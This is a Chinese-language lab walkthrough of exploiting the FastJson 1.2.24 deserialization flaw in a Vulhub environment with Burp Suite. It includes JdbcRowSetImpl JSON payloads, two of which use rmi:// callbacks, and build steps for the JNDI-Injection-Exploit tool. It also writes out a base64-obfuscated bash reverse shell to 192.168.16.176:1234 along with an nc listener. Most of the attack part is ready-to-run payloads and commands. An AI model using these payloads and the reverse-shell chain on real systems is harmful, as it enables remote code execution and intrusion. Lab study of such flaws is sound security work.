FastJson是Alibaba的一款开源Json解析库,可用于将Java对象转换为其Json表示形式,也可以用于将Json字符串转换为等效的Java对象。近几年来FastJson漏洞层出不穷。RCE漏洞的源头:17年FastJson爆出的1.2.24反序列化漏洞。
关于FastJson1.2.24反序列化漏洞,简单来说,就是FastJson通过parseObject/parse将传入的字符串反序列化为Java对象时由于没有进行合理检查而导致的。
Vulhub - Docker-Compose file for vulnerability environment
使用bp自带浏览器打开fastjson页面,并进行抓包发送重发器
将数据包转换为POST方式,并将类型转换为json格式
这里就是提交一个JSON格式的数据转换为对象,然后服务器再通过FastJson将生成的对象以JSON格式来进行输出。
使用burp扩展FastjsonScan进行漏洞检测
来到虚拟机,新建文件夹
下载完成后在bp中安装插件
点击add后选择Java语言
选择扩展文件
点击next—>点击close然后FastjsonScan
回到重发器,右击数据包点击扩展
点击扩展后进行扫描,显示是否有漏洞并且给出漏洞的POC
{
"handsome":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://qjdu7ihzkpjrge30gi0bm7vh58byzn.oastify.com/aaa","autoCommit":true
}
}
将POC复制到POST数据包中的文件内容
POC中有RMI,什么是RMI
RMI(Remote Method Invocation),Java远程方法调用是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。这两个虚拟机可以运行在相同计算机的不同进程中,也可以运行在网铬上的不同计算机中。
在网络传输的过程中,RMI中的对象是通过序列化方式进行编码传输的。这意味着,RMI在接收经过序列化编码的对象后会进行反序列化,因此,可以将RMI服务作为进行反序列化利用链的触发点。
可以将RMI理解为http协议,Java可以通过类似于http协议的RMI协议远程外部加载类
那么在这个地方有反序列化的话,去远程加载一个类或一个资源,这个位置做反序列化的话相当于做了一个反序列化的注入或对象注入。
将工具下载到虚拟机中
proxychains git clone https://github.com/welk1n/JNDI-Injectio
编译生成target目录
mvn clean package -DskipTests
在target目录下使用工具生成不同版本下的rmi和ldap,测试不同版本下的rmi和ldap
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/xu" -A "192.168.16.176"
rmi://192.168.16.176:1099/ooy0mt
bash -i >& /dev/tcp/192.168.16.176/1234 0>&1
将上述代码进行base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2LjE3Ni8xMjM0IDA+JjE=
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2LjE3Ni8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}
将上述的代码在target目录下使用工具生成不同版本下的rmi和ldap
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2LjE3Ni8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.16.176"
开启监听窗口
nc -lnvp 1234
使用bp抓包,发送重发器
将数据提交方式改为POST请求,使用bp工具扫描漏洞
{
"axin":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"is":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://s0tgwxk05ll1qvmz0lwr27u0prvhj6.oastify.com/aaa",
"autoCommit":true
}
}
在target目录下使用工具生成不同版本下的rmi和ldap,测试不同版本下的rmi和ldap
rmi://192.168.16.176:1099/v42n2k
bash -i >& /dev/tcp/192.168.16.176/1234 0>&1
将上述代码进行base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2LjE3Ni8xMjM0IDA+JjE=
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2LjE3Ni8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2LjE3Ni8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.16.176"
打开监听窗口
nc -lnvp 1234